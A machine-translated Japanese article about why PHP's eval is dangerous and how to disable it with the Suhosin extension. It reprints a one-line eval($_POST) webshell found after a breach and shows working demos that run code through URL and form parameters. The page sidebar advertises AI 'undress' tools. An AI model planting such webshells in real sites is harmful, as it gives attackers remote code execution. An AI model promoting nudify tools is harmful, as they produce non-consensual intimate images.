PHPでセキュリティリスクのあるevalを禁止する方法
Web サイトがハッカーに攻撃される前に、PHP の eval 関数には大きなセキュリティ リスクがあることがわかりました。今回はevalを無効にする方法を紹介しますので、必要に応じて参考にしてください。
しばらく前に、Web サイトがハッカーによって侵入されました。その後の調査中に、ほとんどコンテンツのない PHP が見つかりました:
<?php eval($_POST[asda123131323156341]);?>
そこで、PHP の eval 関数をオンラインで検索したところ、この eval 関数には大きなセキュリティ上のリスクがあることがわかりました。
ローカルでテストし、ローカル環境で php を記述します。内容は次のとおりです:
default.php:
<?php eval($_GET[asda]);?>
次に、localhost/test/default にアクセスします。 php?asda =phpinfo();
phpinfoが実行されたことがわかります。
または、localhost/test/default.php?asda = echo 11111 にアクセスすると、1111 がエコーアウトされていることもわかります。
同様のメソッドには次のようなものがあります:
<?php $code="${${eval($_GET[c])}}";?>
Visit localhost/test/default.php?c=phpinfo(); すると、
<?php $code=addslashes($_GET[c]); eval(""$code""); ?>
Visit localhost/test/default が表示されます。 php?c= ${${phpinfo()}};
php を実行できる eval 関数を使用することがわかります。ハッカーはこれを使用して、php のアップロードなどのバックグラウンド トロイの木馬をアップロードし、その後 Access をアップロードすることができます。 URL 経由でこの PHP にアクセスして、より大きな権限を取得します。このタイプの侵入は、ワンセンテンス トロイの木馬と呼ばれます。例: 次のコンテンツを含む HTML を記述します:
<html> <body> <form action="default.php" method="post"> <input type="text" name="c" value="phpinfo();"> <input type="submit" value="submit"> </form> </body> </html>
次に、コンテンツを含むdefault.php を記述します: >
<?php eval($_POST[c]);?>
この場合、どんな php でも直接送信できます。実行したい場合は、それを実行するだけです。
つまり、eval() は PHP のセキュリティにとって大きな破壊力を持っています。eval 関数はアプリケーションのセキュリティを弱体化させます。そのため、通常は使用しない場合、次のようなトロイの木馬の侵入を防ぐために、禁止されます!
ただし、disable_functions を使用して eval を無効にするインターネット上の多くの方法は間違っています。
実際、php.ini で disable_functions を使用して eval() を無効にすることはできません。
eval() は言語構造体であり、関数ではないためです。
eval は zend です。したがって、これは PHP_FUNCTION 関数ではありません;
では、PHP はどのようにして eval を禁止するのでしょうか?
eval を無効にしたい場合は、php 拡張機能 Suhosin を使用できます。
Suhosin をインストールした後、php.ini に Suhosin.so をロードし、 suhosin.executor.disable_eval = on ! を追加します。
まとめ、phpではeval関数を無効にできないので、プラグインしか使えません!
eval 機能を無効にするために suhosin をインストールする手順は次のとおりです: (未テスト)
手順:
php インストール ディレクトリ:/usr/local/php5
php.ini 設定ファイルのパス:/usr/local/php5/etc/php.ini
Nginx インストール ディレクトリ:/usr/local/nginx
Nginx Web サイトのルート ディレクトリ:/ usr/local/nginx/html
1. コンパイル ツール
yum install wget make gcc gcc-c++ zlib-devel openssl openssl-devel pcre-devel kernel keyutils patch perl
をインストールします。2. suhosin
cd /usr/local/src #进入软件包存放目录 wget http://download.suhosin.org/suhosin-0.9.33.tgz #下载 tar zxvf suhosin-0.9.33.tgz #解压 cd suhosin-0.9.33 #进入安装目录 /usr/local/php5/bin/phpize #用phpize生成configure配置文件 ./configure --with-php-config=/usr/local/php5/bin/php-config #配置 make #编译 make install #安装 安装完成之后,出现下面的界面,记住以下路径,后面会用到。 Installing shared extensions: /usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/ #suhosin模块路径
をインストールします。3. suhosin
vi /usr/local/php5/etc/php.ini #编辑配置文件,在最后一行添加以下内容 extension=/usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/suhosin.so suhosin.executor.disable_eval = on
<?php phpinfo(); ?>
以上がPHPでセキュリティリスクのあるevalを禁止する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









PHP 8.4 では、いくつかの新機能、セキュリティの改善、パフォーマンスの改善が行われ、かなりの量の機能の非推奨と削除が行われています。 このガイドでは、Ubuntu、Debian、またはその派生版に PHP 8.4 をインストールする方法、または PHP 8.4 にアップグレードする方法について説明します。

ファイルのアップロードを行うには、フォーム ヘルパーを使用します。ここではファイルアップロードの例を示します。

CakePHP は、PHP 用のオープンソース フレームワークです。これは、アプリケーションの開発、展開、保守をより簡単にすることを目的としています。 CakePHP は、強力かつ理解しやすい MVC のようなアーキテクチャに基づいています。モデル、ビュー、コントローラー

CakePHP へのログインは非常に簡単な作業です。使用する関数は 1 つだけです。 cronjob などのバックグラウンド プロセスのエラー、例外、ユーザー アクティビティ、ユーザーが実行したアクションをログに記録できます。 CakePHP でのデータのログ記録は簡単です。 log()関数が提供されています

Visual Studio Code (VS Code とも呼ばれる) は、すべての主要なオペレーティング システムで利用できる無料のソース コード エディター (統合開発環境 (IDE)) です。 多くのプログラミング言語の拡張機能の大規模なコレクションを備えた VS Code は、
